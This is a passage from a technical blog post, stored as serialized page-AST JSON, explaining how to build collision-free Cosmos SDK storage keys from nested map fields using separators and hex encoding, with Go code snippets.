map",{"type":25,"tag":216,"props":89093,"children":89094},{"style":6958},[89095],{"type":31,"value":7695},{"type":25,"tag":216,"props":89097,"children":89098},{"style":7369},[89099],{"type":31,"value":89100},"VaultId",{"type":25,"tag":216,"props":89102,"children":89103},{"style":6958},[89104],{"type":31,"value":19362},{"type":25,"tag":216,"props":89106,"children":89107},{"style":6930},[89108],{"type":31,"value":71065},{"type":25,"tag":216,"props":89110,"children":89111},{"style":6958},[89112],{"type":31,"value":7695},{"type":25,"tag":216,"props":89114,"children":89115},{"style":7369},[89116],{"type":31,"value":89117},"Username",{"type":25,"tag":216,"props":89119,"children":89120},{"style":6958},[89121],{"type":31,"value":19362},{"type":25,"tag":216,"props":89123,"children":89124},{"style":6930},[89125],{"type":31,"value":71065},{"type":25,"tag":216,"props":89127,"children":89128},{"style":6958},[89129],{"type":31,"value":7695},{"type":25,"tag":216,"props":89131,"children":89132},{"style":7369},[89133],{"type":31,"value":89134},"PositionName",{"type":25,"tag":216,"props":89136,"children":89137},{"style":6958},[89138],{"type":31,"value":19362},{"type":25,"tag":216,"props":89140,"children":89141},{"style":7369},[89142],{"type":31,"value":89143},"Position\n",{"type":25,"tag":38,"props":89145,"children":89146},{},[89147,89149,89155],{"type":31,"value":89148},"Given that there are two levels of keys in ",{"type":25,"tag":82,"props":89150,"children":89152},{"className":89151},[],[89153],{"type":31,"value":89154},"PositionMap",{"type":31,"value":89156},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":25,"tag":206,"props":89158,"children":89160},{"code":89159,"language":80130,"meta":7,"className":80131,"style":7},"storageKey := fmt.Sprintf(\n    \"%d%s%s\",\n    vaultId,\n    username,\n    positionName,\n)\n",[89161],{"type":25,"tag":82,"props":89162,"children":89163},{"__ignoreMap":7},[89164,89193,89205,89217,89229,89241],{"type":25,"tag":216,"props":89165,"children":89166},{"class":6916,"line":6917},[89167,89172,89176,89180,89184,89189],{"type":25,"tag":216,"props":89168,"children":89169},{"style":6941},[89170],{"type":31,"value":89171},"storageKey",{"type":25,"tag":216,"props":89173,"children":89174},{"style":6947},[89175],{"type":31,"value":80382},{"type":25,"tag":216,"props":89177,"children":89178},{"style":6941},[89179],{"type":31,"value":86200},{"type":25,"tag":216,"props":89181,"children":89182},{"style":6958},[89183],{"type":31,"value":179},{"type":25,"tag":216,"props":89185,"children":89186},{"style":7041},[89187],{"type":31,"value":89188},"Sprintf",{"type":25,"tag":216,"props":89190,"children":89191},{"style":6958},[89192],{"type":31,"value":7414},{"type":25,"tag":216,"props":89194,"children":89195},{"class":6916,"line":6763},[89196,89201],{"type":25,"tag":216,"props":89197,"children":89198},{"style":8199},[89199],{"type":31,"value":89200},"    \"%d%s%s\"",{"type":25,"tag":216,"props":89202,"children":89203},{"style":6958},[89204],{"type":31,"value":7459},{"type":25,"tag":216,"props":89206,"children":89207},{"class":6916,"line":6772},[89208,89213],{"type":25,"tag":216,"props":89209,"children":89210},{"style":6941},[89211],{"type":31,"value":89212},"    vaultId",{"type":25,"tag":216,"props":89214,"children":89215},{"style":6958},[89216],{"type":31,"value":7459},{"type":25,"tag":216,"props":89218,"children":89219},{"class":6916,"line":6999},[89220,89225],{"type":25,"tag":216,"props":89221,"children":89222},{"style":6941},[89223],{"type":31,"value":89224},"    username",{"type":25,"tag":216,"props":89226,"children":89227},{"style":6958},[89228],{"type":31,"value":7459},{"type":25,"tag":216,"props":89230,"children":89231},{"class":6916,"line":7104},[89232,89237],{"type":25,"tag":216,"props":89233,"children":89234},{"style":6941},[89235],{"type":31,"value":89236},"    positionName",{"type":25,"tag":216,"props":89238,"children":89239},{"style":6958},[89240],{"type":31,"value":7459},{"type":25,"tag":216,"props":89242,"children":89243},{"class":6916,"line":7210},[89244],{"type":25,"tag":216,"props":89245,"children":89246},{"style":6958},[89247],{"type":31,"value":7101},{"type":25,"tag":38,"props":89249,"children":89250},{},[89251],{"type":31,"value":89252},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":25,"tag":206,"props":89254,"children":89256},{"code":89255},"vaultId = 1,  username = \"2a\", positionName = \"b\"\n    => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\",  positionName = \"b\"\n    => storageKey = \"12ab\"\n",[89257],{"type":25,"tag":82,"props":89258,"children":89259},{"__ignoreMap":7},[89260],{"type":31,"value":89255},{"type":25,"tag":38,"props":89262,"children":89263},{},[89264,89269],{"type":25,"tag":64,"props":89265,"children":89266},{},[89267],{"type":31,"value":89268},"So, how can we mitigate this issue?",{"type":31,"value":89270},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":25,"tag":206,"props":89272,"children":89274},{"code":89273,"language":80130,"meta":7,"className":80131,"style":7},"const (\n    Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    username,\n    Seperator,\n    positionName,\n)\n",[89275],{"type":25,"tag":82,"props":89276,"children":89277},{"__ignoreMap":7},[89278,89289,89306,89313,89320,89347,89359,89370,89381,89392,89403,89414],{"type":25,"tag":216,"props":89279,"children":89280},{"class":6916,"line":6917},[89281,89285],{"type":25,"tag":216,"props":89282,"children":89283},{"style":6930},[89284],{"type":31,"value":13605},{"type":25,"tag":216,"props":89286,"children":89287},{"style":6958},[89288],{"type":31,"value":82532},{"type":25,"tag":216,"props":89290,"children":89291},{"class":6916,"line":6763},[89292,89297,89301],{"type":25,"tag":216,"props":89293,"children":89294},{"style":6941},[89295],{"type":31,"value":89296},"    Seperator",{"type":25,"tag":216,"props":89298,"children":89299},{"style":6947},[89300],{"type":31,"value":6950},{"type":25,"tag":216,"props":89302,"children":89303},{"style":8199},[89304],{"type":31,"value":89305}," \"|\"\n",{"type":25,"tag":216,"props":89307,"children":89308},{"class":6916,"line":6772},[89309],{"type":25,"tag":216,"props":89310,"children":89311},{"style":6958},[89312],{"type":31,"value":7101},{"type":25,"tag":216,"props":89314,"children":89315},{"class":6916,"line":6999},[89316],{"type":25,"tag":216,"props":89317,"children":89318},{"emptyLinePlaceholder":16},[89319],{"type":31,"value":7636},{"type":25,"tag":216,"props":89321,"children":89322},{"class":6916,"line":7104},[89323,89327,89331,89335,89339,89343],{"type":25,"tag":216,"props":89324,"children":89325},{"style":6941},[89326],{"type":31,"value":89171},{"type":25,"tag":216,"props":89328,"children":89329},{"style":6947},[89330],{"type":31,"value":80382},{"type":25,"tag":216,"props":89332,"children":89333},{"style":6941},[89334],{"type":31,"value":86200},{"type":25,"tag":216,"props":89336,"children":89337},{"style":6958},[89338],{"type":31,"value":179},{"type":25,"tag":216,"props":89340,"children":89341},{"style":7041},[89342],{"type":31,"value":89188},{"type":25,"tag":216,"props":89344,"children":89345},{"style":6958},[89346],{"type":31,"value":7414},{"type":25,"tag":216,"props":89348,"children":89349},{"class":6916,"line":7210},[89350,89355],{"type":25,"tag":216,"props":89351,"children":89352},{"style":8199},[89353],{"type":31,"value":89354},"    \"%d%s%s%s%s\"",{"type":25,"tag":216,"props":89356,"children":89357},{"style":6958},[89358],{"type":31,"value":7459},{"type":25,"tag":216,"props":89360,"children":89361},{"class":6916,"line":7238},[89362,89366],{"type":25,"tag":216,"props":89363,"children":89364},{"style":6941},[89365],{"type":31,"value":89212},{"type":25,"tag":216,"props":89367,"children":89368},{"style":6958},[89369],{"type":31,"value":7459},{"type":25,"tag":216,"props":89371,"children":89372},{"class":6916,"line":7251},[89373,89377],{"type":25,"tag":216,"props":89374,"children":89375},{"style":6941},[89376],{"type":31,"value":89296},{"type":25,"tag":216,"props":89378,"children":89379},{"style":6958},[89380],{"type":31,"value":7459},{"type":25,"tag":216,"props":89382,"children":89383},{"class":6916,"line":7269},[89384,89388],{"type":25,"tag":216,"props":89385,"children":89386},{"style":6941},[89387],{"type":31,"value":89224},{"type":25,"tag":216,"props":89389,"children":89390},{"style":6958},[89391],{"type":31,"value":7459},{"type":25,"tag":216,"props":89393,"children":89394},{"class":6916,"line":7290},[89395,89399],{"type":25,"tag":216,"props":89396,"children":89397},{"style":6941},[89398],{"type":31,"value":89296},{"type":25,"tag":216,"props":89400,"children":89401},{"style":6958},[89402],{"type":31,"value":7459},{"type":25,"tag":216,"props":89404,"children":89405},{"class":6916,"line":7299},[89406,89410],{"type":25,"tag":216,"props":89407,"children":89408},{"style":6941},[89409],{"type":31,"value":89236},{"type":25,"tag":216,"props":89411,"children":89412},{"style":6958},[89413],{"type":31,"value":7459},{"type":25,"tag":216,"props":89415,"children":89416},{"class":6916,"line":7551},[89417],{"type":25,"tag":216,"props":89418,"children":89419},{"style":6958},[89420],{"type":31,"value":7101},{"type":25,"tag":38,"props":89422,"children":89423},{},[89424],{"type":31,"value":89425},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":25,"tag":38,"props":89427,"children":89428},{},[89429,89431,89437,89438,89444],{"type":31,"value":89430},"Sadly, it doesn't. Since the ",{"type":25,"tag":82,"props":89432,"children":89434},{"className":89433},[],[89435],{"type":31,"value":89436},"username",{"type":31,"value":1301},{"type":25,"tag":82,"props":89439,"children":89441},{"className":89440},[],[89442],{"type":31,"value":89443},"vaultName",{"type":31,"value":89445}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":25,"tag":206,"props":89447,"children":89449},{"code":89448},"vaultId = 1, username = \"a|\", positionName = \"b\"\n    => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\",  positionName = \"|b\"\n    => storageKey = \"1|a||b\"\n",[89450],{"type":25,"tag":82,"props":89451,"children":89452},{"__ignoreMap":7},[89453],{"type":31,"value":89448},{"type":25,"tag":38,"props":89455,"children":89456},{},[89457],{"type":31,"value":89458},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":25,"tag":206,"props":89460,"children":89462},{"code":89461,"language":80130,"meta":7,"className":80131,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    usernameEncoded,\n    Seperator,\n    positionNameEncoded\n)\n",[89463],{"type":25,"tag":82,"props":89464,"children":89465},{"__ignoreMap":7},[89466,89477,89492,89499,89506,89513,89534,89550,89588,89595,89632,89639,89659,89674,89710,89717,89752,89759,89786,89797,89808,89819,89831,89842,89850],{"type":25,"tag":216,"props":89467,"children":89468},{"class":6916,"line":6917},[89469,89473],{"type":25,"tag":216,"props":89470,"children":89471},{"style":6930},[89472],{"type":31,"value":13605},{"type":25,"tag":216,"props":89474,"children":89475},{"style":6958},[89476],{"type":31,"value":82532},{"type":25,"tag":216,"props":89478,"children":89479},{"class":6916,"line":6763},[89480,89484,89488],{"type":25,"tag":216,"props":89481,"children":89482},{"style":6941},[89483],{"type":31,"value":89296},{"type":25,"tag":216,"props":89485,"children":89486},{"style":6947},[89487],{"type":31,"value":6950},{"type":25,"tag":216,"props":89489,"children":89490},{"style":8199},[89491],{"type":31,"value":89305},{"type":25,"tag":216,"props":89493,"children":89494},{"class":6916,"line":6772},[89495],{"type":25,"tag":216,"props":89496,"children":89497},{"style":6958},[89498],{"type":31,"value":7101},{"type":25,"tag":216,"props":89500,"children":89501},{"class":6916,"line":6999},[89502],{"type":25,"tag":216,"props":89503,"children":89504},{"emptyLinePlaceholder":16},[89505],{"type":31,"value":7636},{"type":25,"tag":216,"props":89507,"children":89508},{"class":6916,"line":7104},[89509],{"type":25,"tag":216,"props":89510,"children":89511},{"emptyLinePlaceholder":16},[89512],{"type":31,"value":7636},{"type":25,"tag":216,"props":89514,"children":89515},{"class":6916,"line":7210},[89516,89521,89525,89530],{"type":25,"tag":216,"props":89517,"children":89518},{"style":6941},[89519],{"type":31,"value":89520},"usernameEncoded",{"type":25,"tag":216,"props":89522,"children":89523},{"style":6947},[89524],{"type":31,"value":80382},{"type":25,"tag":216,"props":89526,"children":89527},{"style":7041},[89528],{"type":31,"value":89529}," make",{"type":25,"tag":216,"props":89531,"children":89532},{"style":6958},[89533],{"type":31,"value":7414},{"type":25,"tag":216,"props":89535,"children":89536},{"class":6916,"line":7238},[89537,89542,89546],{"type":25,"tag":216,"props":89538,"children":89539},{"style":6958},[89540],{"type":31,"value":89541},"    []",{"type":25,"tag":216,"props":89543,"children":89544},{"style":7369},[89545],{"type":31,"value":88730},{"type":25,"tag":216,"props":89547,"children":89548},{"style":6958},[89549],{"type":31,"value":7459},{"type":25,"tag":216,"props":89551,"children":89552},{"class":6916,"line":7251},[89553,89558,89562,89567,89571,89575,89579,89583],{"type":25,"tag":216,"props":89554,"children":89555},{"style":6941},[89556],{"type":31,"value":89557},"    hex",{"type":25,"tag":216,"props":89559,"children":89560},{"style":6958},[89561],{"type":31,"value":179},{"type":25,"tag":216,"props":89563,"children":89564},{"style":7041},[89565],{"type":31,"value":89566},"EncodedLen",{"type":25,"tag":216,"props":89568,"children":89569},{"style":6958},[89570],{"type":31,"value":1844},{"type":25,"tag":216,"props":89572,"children":89573},{"style":7041},[89574],{"type":31,"value":13088},{"type":25,"tag":216,"props":89576,"children":89577},{"style":6958},[89578],{"type":31,"value":1844},{"type":25,"tag":216,"props":89580,"children":89581},{"style":6941},[89582],{"type":31,"value":89436},{"type":25,"tag":216,"props":89584,"children":89585},{"style":6958},[89586],{"type":31,"value":89587},")),\n",{"type":25,"tag":216,"props":89589,"children":89590},{"class":6916,"line":7269},[89591],{"type":25,"tag":216,"props":89592,"children":89593},{"style":6958},[89594],{"type":31,"value":7101},{"type":25,"tag":216,"props":89596,"children":89597},{"class":6916,"line":7290},[89598,89603,89607,89612,89616,89620,89624,89628],{"type":25,"tag":216,"props":89599,"children":89600},{"style":6941},[89601],{"type":31,"value":89602},"hex",{"type":25,"tag":216,"props":89604,"children":89605},{"style":6958},[89606],{"type":31,"value":179},{"type":25,"tag":216,"props":89608,"children":89609},{"style":7041},[89610],{"type":31,"value":89611},"Encode",{"type":25,"tag":216,"props":89613,"children":89614},{"style":6958},[89615],{"type":31,"value":1844},{"type":25,"tag":216,"props":89617,"children":89618},{"style":6941},[89619],{"type":31,"value":89520},{"type":25,"tag":216,"props":89621,"children":89622},{"style":6958},[89623],{"type":31,"value":7020},{"type":25,"tag":216,"props":89625,"children":89626},{"style":6941},[89627],{"type":31,"value":89436},{"type":25,"tag":216,"props":89629,"children":89630},{"style":6958},[89631],{"type":31,"value":7101},{"type":25,"tag":216,"props":89633,"children":89634},{"class":6916,"line":7299},[89635],{"type":25,"tag":216,"props":89636,"children":89637},{"emptyLinePlaceholder":16},[89638],{"type":31,"value":7636},{"type":25,"tag":216,"props":89640,"children":89641},{"class":6916,"line":7551},[89642,89647,89651,89655],{"type":25,"tag":216,"props":89643,"children":89644},{"style":6941},[89645],{"type":31,"value":89646},"positionNameEncoded",{"type":25,"tag":216,"props":89648,"children":89649},{"style":6947},[89650],{"type":31,"value":80382},{"type":25,"tag":216,"props":89652,"children":89653},{"style":7041},[89654],{"type":31,"value":89529},{"type":25,"tag":216,"props":89656,"children":89657},{"style":6958},[89658],{"type":31,"value":7414},{"type":25,"tag":216,"props":89660,"children":89661},{"class":6916,"line":7568},[89662,89666,89670],{"type":25,"tag":216,"props":89663,"children":89664},{"style":6958},[89665],{"type":31,"value":89541},{"type":25,"tag":216,"props":89667,"children":89668},{"style":7369},[89669],{"type":31,"value":88730},{"type":25,"tag":216,"props":89671,"children":89672},{"style":6958},[89673],{"type":31,"value":7459},{"type":25,"tag":216,"props":89675,"children":89676},{"class":6916,"line":7585},[89677,89681,89685,89689,89693,89697,89701,89706],{"type":25,"tag":216,"props":89678,"children":89679},{"style":6941},[89680],{"type":31,"value":89557},{"type":25,"tag":216,"props":89682,"children":89683},{"style":6958},[89684],{"type":31,"value":179},{"type":25,"tag":216,"props":89686,"children":89687},{"style":7041},[89688],{"type":31,"value":89566},{"type":25,"tag":216,"props":89690,"children":89691},{"style":6958},[89692],{"type":31,"value":1844},{"type":25,"tag":216,"props":89694,"children":89695},{"style":7041},[89696],{"type":31,"value":13088},{"type":25,"tag":216,"props":89698,"children":89699},{"style":6958},[89700],{"type":31,"value":1844},{"type":25,"tag":216,"props":89702,"children":89703},{"style":6941},[89704],{"type":31,"value":89705},"positionName",{"type":25,"tag":216,"props":89707,"children":89708},{"style":6958},[89709],{"type":31,"value":89587},{"type":25,"tag":216,"props":89711,"children":89712},{"class":6916,"line":7598},[89713],{"type":25,"tag":216,"props":89714,"children":89715},{"style":6958},[89716],{"type":31,"value":7101},{"type":25,"tag":216,"props":89718,"children":89719},{"class":6916,"line":7607},[89720,89724,89728,89732,89736,89740,89744,89748],{"type":25,"tag":216,"props":89721,"children":89722},{"style":6941},[89723],{"type":31,"value":89602},{"type":25,"tag":216,"props":89725,"children":89726},{"style":6958},[89727],{"type":31,"value":179},{"type":25,"tag":216,"props":89729,"children":89730},{"style":7041},[89731],{"type":31,"value":89611},{"type":25,"tag":216,"props":89733,"children":89734},{"style":6958},[89735],{"type":31,"value":1844},{"type":25,"tag":216,"props":89737,"children":89738},{"style":6941},[89739],{"type":31,"value":89646},{"type":25,"tag":216,"props":89741,"children":89742},{"style":6958},[89743],{"type":31,"value":7020},{"type":25,"tag":216,"props":89745,"children":89746},{"style":6941},[89747],{"type":31,"value":89705},{"type":25,"tag":216,"props":89749,"children":89750},{"style":6958},[89751],{"type":31,"value":7101},{"type":25,"tag":216,"props":89753,"children":89754},{"class":6916,"line":7630},[89755],{"type":25,"tag":216,"props":89756,"children":89757},{"emptyLinePlaceholder":16},[89758],{"type":31,"value":7636},{"type":25,"tag":216,"props":89760,"children":89761},{"class":6916,"line":7639},[89762,89766,89770,89774,89778,89782],{"type":25,"tag":216,"props":89763,"children":89764},{"style":6941},[89765],{"type":31,"value":89171},{"type":25,"tag":216,"props":89767,"children":89768},{"style":6947},[89769],{"type":31,"value":80382},{"type":25,"tag":216,"props":89771,"children":89772},{"style":6941},[89773],{"type":31,"value":86200},{"type":25,"tag":216,"props":89775,"children":89776},{"style":6958},[89777],{"type":31,"value":179},{"type":25,"tag":216,"props":89779,"children":89780},{"style":7041},[89781],{"type":31,"value":89188},{"type":25,"tag":216,"props":89783,"children":89784},{"style":6958},[89785],{"type":31,"value":7414},{"type":25,"tag":216,"props":89787,"children":89788},{"class":6916,"line":7648},[89789,89793],{"type":25,"tag":216,"props":89790,"children":89791},{"style":8199},[89792],{"type":31,"value":89354},{"type":25,"tag":216,"props":89794,"children":89795},{"style":6958},[89796],{"type":31,"value":7459},{"type":25,"tag":216,"props":89798,"children":89799},{"class":6916,"line":7716},[89800,89804],{"type":25,"tag":216,"props":89801,"children":89802},{"style":6941},[89803],{"type":31,"value":89212},{"type":25,"tag":216,"props":89805,"children":89806},{"style":6958},[89807],{"type":31,"value":7459},{"type":25,"tag":216,"props":89809,"children":89810},{"class":6916,"line":7724},[89811,89815],{"type":25,"tag":216,"props":89812,"children":89813},{"style":6941},[89814],{"type":31,"value":89296},{"type":25,"tag":216,"props":89816,"children":89817},{"style":6958},[89818],{"type":31,"value":7459},{"type":25,"tag":216,"props":89820,"children":89821},{"class":6916,"line":7754},[89822,89827],{"type":25,"tag":216,"props":89823,"children":89824},{"style":6941},[89825],{"type":31,"value":89826},"    usernameEncoded",{"type":25,"tag":216,"props":89828,"children":89829},{"style":6958},[89830],{"type":31,"value":7459},{"type":25,"tag":216,"props":89832,"children":89833},{"class":6916,"line":7762},[89834,89838],{"type":25,"tag":216,"props":89835,"children":89836},{"style":6941},[89837],{"type":31,"value":89296},{"type":25,"tag":216,"props":89839,"children":89840},{"style":6958},[89841],{"type":31,"value":7459},{"type":25,"tag":216,"props":89843,"children":89844},{"class":6916,"line":7794},[89845],{"type":25,"tag":216,"props":89846,"children":89847},{"style":6941},[89848],{"type":31,"value":89849},"    positionNameEncoded\n",{"type":25,"tag":216,"props":89851,"children":89852},{"class":6916,"line":7802},[89853],{"type":25,"tag":216,"props":89854,"children":89855},{"style":6958},[89856],{"type":31,"value":7101},{"type":25,"tag":38,"props":89858,"children":89859},{},[89860,89862,89867],{"type":31,"value":89861},"We did it. We finally eliminated all potential ",{"type":25,"tag":82,"props":89863,"children":89865},{"className":89864},[],[89866],{"type":31,"value":89171},{"type":31,"value":89868}," collisions.",{"type":25,"tag":38,"props":89870,"children":89871},{},[89872],{"type":31,"value":89873},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":25,"tag":38,"props":89875,"children":89876},{},[89877,89879,89885,89887,89892,89894,89899,89901,89906,89908,89914],{"type":31,"value":89878},"In the Cosmos framework, it is common for each ",{"type":25,"tag":82,"props":89880,"children":89882},{"className":89881},[],[89883],{"type":31,"value":89884},"Module",{"type":31,"value":89886}," to own a few ",{"type":25,"tag":82,"props":89888,"children":89890},{"className":89889},[],[89891],{"type":31,"value":88942},{"type":31,"value":89893}," and have individual ",{"type":25,"tag":82,"props":89895,"children":89897},{"className":89896},[],[89898],{"type":31,"value":83911},{"type":31,"value":89900},"s managing access to storages. It's also important to note that each ",{"type":25,"tag":82,"props":89902,"children":89904},{"className":89903},[],[89905],{"type":31,"value":88942},{"type":31,"value":89907}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":25,"tag":82,"props":89909,"children":89911},{"className":89910},[],[89912],{"type":31,"value":89913},"Modules",{"type":31,"value":179},{"type":25,"tag":38,"props":89916,"children":89917},{},[89918,89920,89925],{"type":31,"value":89919},"With that being said, what if we have to maintain more than one structure within the same ",{"type":25,"tag":82,"props":89921,"children":89923},{"className":89922},[],[89924],{"type":31,"value":88942},{"type":31,"value":605},{"type":25,"tag":38,"props":89927,"children":89928},{},[89929,89931,89937,89939,89944],{"type":31,"value":89930},"To demonstrate this scenario, we introduce the ",{"type":25,"tag":82,"props":89932,"children":89934},{"className":89933},[],[89935],{"type":31,"value":89936},"NameToAddressMap",{"type":31,"value":89938}," structure, which will be stored in the same ",{"type":25,"tag":82,"props":89940,"children":89942},{"className":89941},[],[89943],{"type":31,"value":88942},{"type":31,"value":89945}," we previously used.",{"type":25,"tag":206,"props":89947,"children":89949},{"code":89948,"language":80130,"meta":7,"className":80131,"style":7},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n    map[VaultId]map[Username]map[AddressName]Address\n",[89950],{"type":25,"tag":82,"props":89951,"children":89952},{"__ignoreMap":7},[89953,89968,89983,89990,90005,90024,90039,90046,90061,90116,90123,90139,90159,90174,90181,90197],{"type":25,"tag":216,"props":89954,"children":89955},{"class":6916,"line":6917},[89956,89960,89964],{"type":25,"tag":216,"props":89957,"children":89958},{"style":6930},[89959],{"type":31,"value":36713},{"type":25,"tag":216,"props":89961,"children":89962},{"style":7369},[89963],{"type":31,"value":88988},{"type":25,"tag":216,"props":89965,"children":89966},{"style":7369},[89967],{"type":31,"value":80168},{"type":25,"tag":216,"props":89969,"children":89970},{"class":6916,"line":6763},[89971,89975,89979],{"type":25,"tag":216,"props":89972,"children":89973},{"style":6930},[89974],{"type":31,"value":36713},{"type":25,"tag":216,"props":89976,"children":89977},{"style":7369},[89978],{"type":31,"value":89004},{"type":25,"tag":216,"props":89980,"children":89981},{"style":7369},[89982],{"type":31,"value":89009},{"type":25,"tag":216,"props":89984,"children":89985},{"class":6916,"line":6772},[89986],{"type":25,"tag":216,"props":89987,"children":89988},{"emptyLinePlaceholder":16},[89989],{"type":31,"value":7636},{"type":25,"tag":216,"props":89991,"children":89992},{"class":6916,"line":6999},[89993,89997,90001],{"type":25,"tag":216,"props":89994,"children":89995},{"style":6930},[89996],{"type":31,"value":36713},{"type":25,"tag":216,"props":89998,"children":89999},{"style":7369},[90000],{"type":31,"value":89021},{"type":25,"tag":216,"props":90002,"children":90003},{"style":7369},[90004],{"type":31,"value":89009},{"type":25,"tag":216,"props":90006,"children":90007},{"class":6916,"line":7104},[90008,90012,90016,90020],{"type":25,"tag":216,"props":90009,"children":90010},{"style":6930},[90011],{"type":31,"value":36713},{"type":25,"tag":216,"props":90013,"children":90014},{"style":7369},[90015],{"type":31,"value":11370},{"type":25,"tag":216,"props":90017,"children":90018},{"style":6930},[90019],{"type":31,"value":25105},{"type":25,"tag":216,"props":90021,"children":90022},{"style":6958},[90023],{"type":31,"value":7235},{"type":25,"tag":216,"props":90025,"children":90026},{"class":6916,"line":7210},[90027,90031,90035],{"type":25,"tag":216,"props":90028,"children":90029},{"style":6941},[90030],{"type":31,"value":47191},{"type":25,"tag":216,"props":90032,"children":90033},{"style":6958},[90034],{"type":31,"value":80193},{"type":25,"tag":216,"props":90036,"children":90037},{"style":7369},[90038],{"type":31,"value":88194},{"type":25,"tag":216,"props":90040,"children":90041},{"class":6916,"line":7238},[90042],{"type":25,"tag":216,"props":90043,"children":90044},{"style":6958},[90045],{"type":31,"value":7868},{"type":25,"tag":216,"props":90047,"children":90048},{"class":6916,"line":7251},[90049,90053,90057],{"type":25,"tag":216,"props":90050,"children":90051},{"style":6930},[90052],{"type":31,"value":36713},{"type":25,"tag":216,"props":90054,"children":90055},{"style":7369},[90056],{"type":31,"value":89078},{"type":25,"tag":216,"props":90058,"children":90059},{"style":6947},[90060],{"type":31,"value":89083},{"type":25,"tag":216,"props":90062,"children":90063},{"class":6916,"line":7269},[90064,90068,90072,90076,90080,90084,90088,90092,90096,90100,90104,90108,90112],{"type":25,"tag":216,"props":90065,"children":90066},{"style":6930},[90067],{"type":31,"value":89091},{"type":25,"tag":216,"props":90069,"children":90070},{"style":6958},[90071],{"type":31,"value":7695},{"type":25,"tag":216,"props":90073,"children":90074},{"style":7369},[90075],{"type":31,"value":89100},{"type":25,"tag":216,"props":90077,"children":90078},{"style":6958},[90079],{"type":31,"value":19362},{"type":25,"tag":216,"props":90081,"children":90082},{"style":6930},[90083],{"type":31,"value":71065},{"type":25,"tag":216,"props":90085,"children":90086},{"style":6958},[90087],{"type":31,"value":7695},{"type":25,"tag":216,"props":90089,"children":90090},{"style":7369},[90091],{"type":31,"value":89117},{"type":25,"tag":216,"props":90093,"children":90094},{"style":6958},[90095],{"type":31,"value":19362},{"type":25,"tag":216,"props":90097,"children":90098},{"style":6930},[90099],{"type":31,"value":71065},{"type":25,"tag":216,"props":90101,"children":90102},{"style":6958},[90103],{"type":31,"value":7695},{"type":25,"tag":216,"props":90105,"children":90106},{"style":7369},[90107],{"type":31,"value":89134},{"type":25,"tag":216,"props":90109,"children":90110},{"style":6958},[90111],{"type":31,"value":19362},{"type":25,"tag":216,"props":90113,"children":90114},{"style":7369},[90115],{"type":31,"value":89143},{"type":25,"tag":216,"props":90117,"children":90118},{"class":6916,"line":7290},[90119],{"type":25,"tag":216,"props":90120,"children":90121},{"emptyLinePlaceholder":16},[90122],{"type":31,"value":7636},{"type":25,"tag":216,"props":90124,"children":90125},{"class":6916,"line":7299},[90126,90130,90135],{"type":25,"tag":216,"props":90127,"children":90128},{"style":6930},[90129],{"type":31,"value":36713},{"type":25,"tag":216,"props":90131,"children":90132},{"style":7369},[90133],{"type":31,"value":90134}," AddressName",{"type":25,"tag":216,"props":90136,"children":90137},{"style":7369},[90138],{"type":31,"value":89009},{"type":25,"tag":216,"props":90140,"children":90141},{"class":6916,"line":7551},[90142,90146,90151,90155],{"type":25,"tag":216,"props":90143,"children":90144},{"style":6930},[90145],{"type":31,"value":36713},{"type":25,"tag":216,"props":90147,"children":90148},{"style":7369},[90149],{"type":31,"value":90150}," Address",{"type":25,"tag":216,"props":90152,"children":90153},{"style":6930},[90154],{"type":31,"value":25105},{"type":25,"tag":216,"props":90156,"children":90157},{"style":6958},[90158],{"type":31,"value":7235},{"type":25,"tag":216,"props":90160,"children":90161},{"class":6916,"line":7568},[90162,90166,90170],{"type":25,"tag":216,"props":90163,"children":90164},{"style":6941},[90165],{"type":31,"value":19056},{"type":25,"tag":216,"props":90167,"children":90168},{"style":6958},[90169],{"type":31,"value":80193},{"type":25,"tag":216,"props":90171,"children":90172},{"style":7369},[90173],{"type":31,"value":88194},{"type":25,"tag":216,"props":90175,"children":90176},{"class":6916,"line":7585},[90177],{"type":25,"tag":216,"props":90178,"children":90179},{"style":6958},[90180],{"type":31,"value":7868},{"type":25,"tag":216,"props":90182,"children":90183},{"class":6916,"line":7598},[90184,90188,90193],{"type":25,"tag":216,"props":90185,"children":90186},{"style":6930},[90187],{"type":31,"value":36713},{"type":25,"tag":216,"props":90189,"children":90190},{"style":7369},[90191],{"type":31,"value":90192}," 